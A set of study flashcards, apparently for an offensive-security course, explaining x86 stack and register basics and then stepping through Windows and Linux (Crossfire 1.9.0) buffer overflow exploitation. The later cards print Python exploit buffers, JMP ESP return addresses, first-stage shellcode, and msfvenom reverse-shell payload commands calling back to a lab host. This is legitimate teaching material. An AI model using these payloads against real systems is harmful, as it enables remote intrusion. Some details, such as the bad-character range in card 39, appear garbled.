Buffer Overflows Flashcards

1
Q

What is the highest and lowest memory address used by Windows?

A
  • lowest = 0x00000000

- highest = 0x7FFFFFFF

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

Define the Stack

A
  • When a thread is running, it executes code from within the Program Image or from various DLLs (Dynamic Link Libraries)
  • The thread requires short-term data areas for functions, local variables, and program control information….this short-term data area is the STACK
  • To facilitate independent execution of multiple threads, each thread in a running application has its own STACK
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Explain LIFO and the Stack

A
  • Stack memory is “viewed” by the CPU as a Last-In First-Out structure
  • Items put (“PUSHED”) onto the top of the Stack are removed (“POPPED”) first
  • x86 architecture implements dedicated PUSH and POP assembly instructions in order to ADD or REMOVE data on the STACK
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Explain Return Address

A
  • When code within a Thread calls a Function, it must know which address to return to once the function completes
  • This “RETURN ADDRESS” (along with the functions parameters and local variables) is stored on the Stack
  • When a Function ends, the “RETURN ADDRESS” is taken from the Stack and used to restore the execution flow back to the main program or the “calling function”
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

CPU Registers

A
  • To perform efficient code execution, the CPU maintains and uses a series of nine 32-bit registers
  • Registers are small, extremely high-speed CPU storage locations where data can be efficiently read and manipulated.
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

What are the general purpose registers?

A
  • EAX
  • EBX
  • ECX
  • EDX
  • ESI
  • EDI
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

EAX

A
    • Accumulator

- - Arithmetical and logical instructions

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

EBX

A
    • Base

- - Base pointer for memory addresses

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

ECX

A
    • Counter

- - Loop, shift, and rotation counter

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

EDX

A
    • Data

- - I/O port addressing, multiplication, and division

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

ESI

A
    • Source Index

- - Pointer addressing of data and source in string copy operations

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

EDI

A
    • Destination Address

- - Pointer addressing of data and destination in string copy operations

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

ESP

A
    • Stack Pointer

- - Keeps ‘track’ of the most recently referenced location on the Stack (top of the Stack) by storing a pointer to it

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

What does “pointer” mean?

A
  • reference to an address (or location) in memory

- stores the target address

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

EBP

A
    • Base Pointer
    • stores a pointer to the top of the Stack when a function is called
    • By accessing EBP, a function can easily reference information from its own Stack
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

EIP

A
    • Instruction Pointer
    • One of the most important registers because it points to the next code to be executed
    • EIP directs the flow of a program
  • ** The attacker’s primary target when exploiting any memory corruption vulnerability such as a buffer overflow ***
  • ** Holy Grail for shellcoding ***
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

What is the goal of Fuzzing?

A
  • provide the target application with input that is not handled correctly, resulting in an application crash
18
Q

What are the summary steps of exploiting a Win32 Buffer Overflow?

A
  1. Validate EIP register fills with A’s
  2. Fill EIP with msf-pattern-create
  3. Locate EIP with msf-pattern-offset
  4. Locate space for the shellcode
  5. Check for Bad Characters
  6. Find a Return Address for our shellcode
  7. Generate Shellcode
  8. Add NOP Sled
  9. Run Netcat
  10. Get Reverse Shell
19
Q

What is the first goal of exploiting a Win32 Buffer Overflow?

A
  • gaining control of the EIP register
  • EIP is like the reins of a horse
  • We can use it to control the direction or flow of the application
20
Q

What is the first step to knowing if we have modified the EIP register?

A
  • Overflow the buffer with A’s

- See the EIP address value comprised of 41414141 (A’s from our Buffer)

21
Q

What is the next thing we need to do to gain control of the EIP register? How do you do this?

A
  • find out the exactly what part of the Fuzzing Input (Buffer of A’s) are hitting the EIP register
  • Use a long string of non-repeating 4-byte chunks as our fuzzing input
  • msf-pattern-create -l 800
  • Place the generated pattern in the python script and rerun exploit
  • EIP will now contain a new string (ex. 42306142
  • msf-pattern-offset -l 800 -q 42306142
  • This will tell you were exactly the offset is located (ex. 780)
  • Adjust the fuzzer/filler string in python script to the offset value and add EIP and Buffer values
    • filler = “A” * 780
    • eip = “B” * 4
    • buffer = “C” * 16
    • inputBuffer = filler + eip + buffer
  • resend the python exploit and you should now see the EIP value = 42424242 (4 B’s)
  • ** The second set of C’s land at ESP
  • ** We will want the next part to test for control of ESP
22
Q

How do you locate space for the shellcode?

A
  • A standard reverse shell payload requires approximately 350-400 bytes of space
  • We need to run our test from 800 bytes to 1500 bytes and see if this allows enough space for our shellcode without breaking the buffer overflow condition or changing the nature of the crash.
  • We need to update our python code to include 1500 D’s, less the length of the other 3 variables:
    • filler = “A” * 700
    • eip = “B” *4
    • offset = “C” * 4
    • buffer = “D” * (1500 - len(filler) -len(eip) - len(offset))
  • This test works and shows us we have approximately 700 bytes of space for our shellcode
23
Q

Which Bad Characters should always be excluded?

A
    • 0x00 = null byte; this character is considered bad because a null byte is also used to terminate a string in low level languages such as C/C++
  • this will cause the string copy (strcopy) operation to end, effectively truncating our buffer at the first instance of a null byte
    • 0x0D = return character; should be avoided when sending the exploit as part of an HTTP POST request
  • this signifies the end of an HTTP field
24
Q

How do you determine which characters are bad for a given application?

A
  • Send all possible characters, from 0x00 to 0xFF, as part of the buffer, and see how the application deals with these characters after the crash
  • In the python script, replace the D’s with all possible hex characters, except 0x00
    • badchars = ( “\x01\x02\x03\x04…….”)
    • filler = “A” * 700
    • eip = “B” *4
    • offset = “C” * 4
    • inputBuffer = filler + eip + offset + badchars
  • ** After executing the python exploit, right-click on the ESP and select “Follow in Dump”, to show the input buffer hex characters in memory
  • ** The output shows hex values 0x01 through 0x09 made it into the stack memory buffer…but 0x0A did not
  • ** We remove 0x0A from our test script and resend the payload, resulting in the next bad character terminating in the stack memory buffer
  • ** Keep doing this until all bad characters are discovered
25
Q

What is the goal of “Redirecting the Execution Flow” stage of exploit development?

What is one issue to be mindful of?

A
  • to find a way to redirect the execution flow to the shellcode located at the memory address that the ESP register is pointing to at the time of the crash
  • the value of ESP changes from crash to crash and hard-coding a specific stack address would not be a reliable way of reaching our buffer
26
Q

How do we find a “return address” for our shellcode?

A
  • begin by using the Immunity Debugger add-on module Mona
  • we want to run a search with Mona that excludes our bad characters and looks for a JMP ESP gadget that is not subject to ASLR
    • !mona jmp -r esp -cpb “\x00\x0A\x…”
  • this will give us the memory address of JMP ESP gadget(s)
  • If we redirect EIP to the memory address of the JMP ESP at the time of the crash, the JMP ESP instruction will be executed, which will lead to the execution flow into our shellcode
27
Q

What do we do once we have found the memory address of a suitable JMP ESP gadget?

A
  • update the python code my inserting the memory address into the EIP variable (little-endian format)
    • filler = ‘A’ * 780
    • eip = “\x83\x0c\x09\x10”
    • offset = “C” * 4
    • buffer = “D” * (1500 - len(filler) - len(eip) - len(offset))
    • inputBuffer = filler + eip + offset + buffer
  • ** Run the python code and verify that the EIP value at crash is the memory address of the JMP ESP gadget
28
Q

What is the command to write shellcode for a Windows machine?

A

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b “\x00\x0a\x0d\x25…”

29
Q

What is the final step after adding our shellcode to the python script, and what does the final product look like?

A
    • shellcode = (“\xbe\x55\xe5...”)
    • filler = ‘A’ * 780
    • eip = “\x83\x0c\x09\x10”
    • offset = “C” * 4
    • nops = “\x90” * 10
    • inputBuffer = filler + eip + offset + nops + shellcode
30
Q

For the Linux Buffer Overflow example, how do we access the example machine, what is the vulnerable program, where is it located, and how does it get started?

A
  • rdesktop to the dedicated Debian Linux client
  • crossfire 1.9.0
  • /usr/games/crossfire/bin
  • ./crossfire
31
Q

What debugger do we use to fuzz the Linux Buffer Overflow vulnerable application?

A

EDB

32
Q

What are the steps for exploiting the Buffer Overflow in Linux?

A
  1. Crash program with POC python script
  2. Locate offset of EIP
  3. Locate space for the shellcode
  4. Generate first stage shellcode
  5. Check for bad characters
  6. Find a return address
  7. Get a shell
33
Q

What are the initial steps to trigger the Buffer Overflow in the vulnerable Linux application?

A
  1. Launch EDB: root@debian:~# edb
  2. Attach Crossfire to EDB: File > Attach > Select Crossfire PID
  3. Run Application: click Run
  4. Run POC python exploit:
    - ——————————-
    - - host = “10.11.0.128”
    - - crash = “\x41” * 4379
    - - buffer = “\x11(setup sound “ + crash + “\x90\x00#”
    - ——————————–
    * ** Note: the buffer requires specific hex values at the beginning and end, as well as the ‘setup sound’ string, in order to crash the application
34
Q

How do we locate the address/offset of the EIP?

A
    • msf-pattern_create -l 4379
    • replace “buffer” variable with the generated pattern
    • rerun the python script
    • get the hexadecimal value of EIP (ex 46367046)
    • msf-pattern_offset -q 46367046
  • ** Confirm the offset (ex. 4368) by updating the ‘crash’ variable and verify EIP overwrites with four “B” characters
    • crash = “\x41” * 4368 + “B” * 4 + “C” *7
35
Q

If the ESP register points to the end of our buffer at the time of the crash, and there are only 7 bytes of shellcode space to work with, what is our option for our shellcode generation?

A
  • create a first stage shellcode
  • this first stage shellcode will be used to align the EAX register in order to make it point to our buffer right after the “setup sound” string…and then jump to that location, allowing us to skip the conditional jumps
  • our first stage shellcode would need to increase the value of EAX by 12(x\0C) bytes as there are 12 characters in the string “setup sound”
  • This can be done by using the ‘ADD’ assembly instruction and then proceed to jump to the memory pointed to by EAX using a JMP instruction
36
Q

How do you get the opcodes for “add eax,12” and “jmp eax”?

A
    • kali@kali:~$ msf-nasm_shell
    • nasm > add eax,12 (–> outputs 83C00C)
    • nams > jmp eax (–> outputs FFE0)
  • these two sets of instructions (\x83\xc0\x0c\xff\xe0) take up only 5 bytes of memory
37
Q

How do we update our python script to include the 5 bytes of instructions to into the alloted 7 bytes of space for our “first stage” shellcode?

A
  • ** We can update the pyton script to include the 5 bytes of instructions as the first stage shellcode, and repad the original buffer with NOPs (\x90) in order to maintain the correct length (7 bytes)***
    • padding = “\x41” * 4368
    • eip = “\x42\x42\x42\x42”
    • first_stage = “\x83\xc0\x0c\xff\xe0\x90\x90”
    • buffer = “\x11(setup sound “ + padding + eip + first_stage + “\x90\x00#”
38
Q

What is the expected outcome after running our updated python script with the first stage shellcode?

A
  • EIP register should equal four B’s (\x42)
  • Our first stage shellcode should be located at the memory address pointed by the ESP register
    • ESP = bffff720
    • bffff:f720 | 83 c0 0c ff e0 90 90
39
Q

How do we check for bad characters in a Linux Buffer Overflow?

A
  • same as Windows, send the entire range of Hex characters from 00 to 0F within the buffer and then monitor if any of the bytes are dropped or mess up the application
40
Q

How do we find a valid assembly instruction to redirect code execution to the memory location pointed to by the ESP register?

A
  • EDB debugger comes with a plugin named OpcodeSearcher
  • Search for EAX -> EIP Jump Equivalent
  • Select the first JMP ESP memory address (ex. 0x08134596)
  • Update the python code
    • padding = “\x41” * 4368
    • eip = “\x96\x45\x13\x08”
    • first_stage = “\x83\xc0\x0c\xff\xe0\x90\x90”
    • buffer = “\x11(setup sound “ + padding + eip + first_stage + “\x90\x00#”
41
Q

How do we get a reverse shell with Linux and Buffer Overflow exploits?

A
  • we drop our payload at the beginning of our buffer of A’s reachable through the first stage shellcode
    • msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -b “\x00\20” -f py -v shellcode
  • update the python script
    • nop_sled = “\x90” * 8
    • shellcode = “”
    • shellcode += “\xbe\x35\x9e…….”
    • padding = “\x41” * (4368 - len(nop_sled) - len*(shellcode))
    • eip = “\x96\x45\x13\x08”
    • first_stage = “\x83\xc0\x0c\xff\xe0\x90\x90”
    • buffer = “\x11(setup sound “ + nop_sled + shellcode + padding + eip + first_stage + “\x90\x00#”
42
Q

What do you do if your reverse shell hangs very time you run a command?

A
  • this is possibly due to a debugger catching SIGCHLD events generated when something happens to our spawned child process from our reverse shell.
  • restart the application and run it without a debugger attached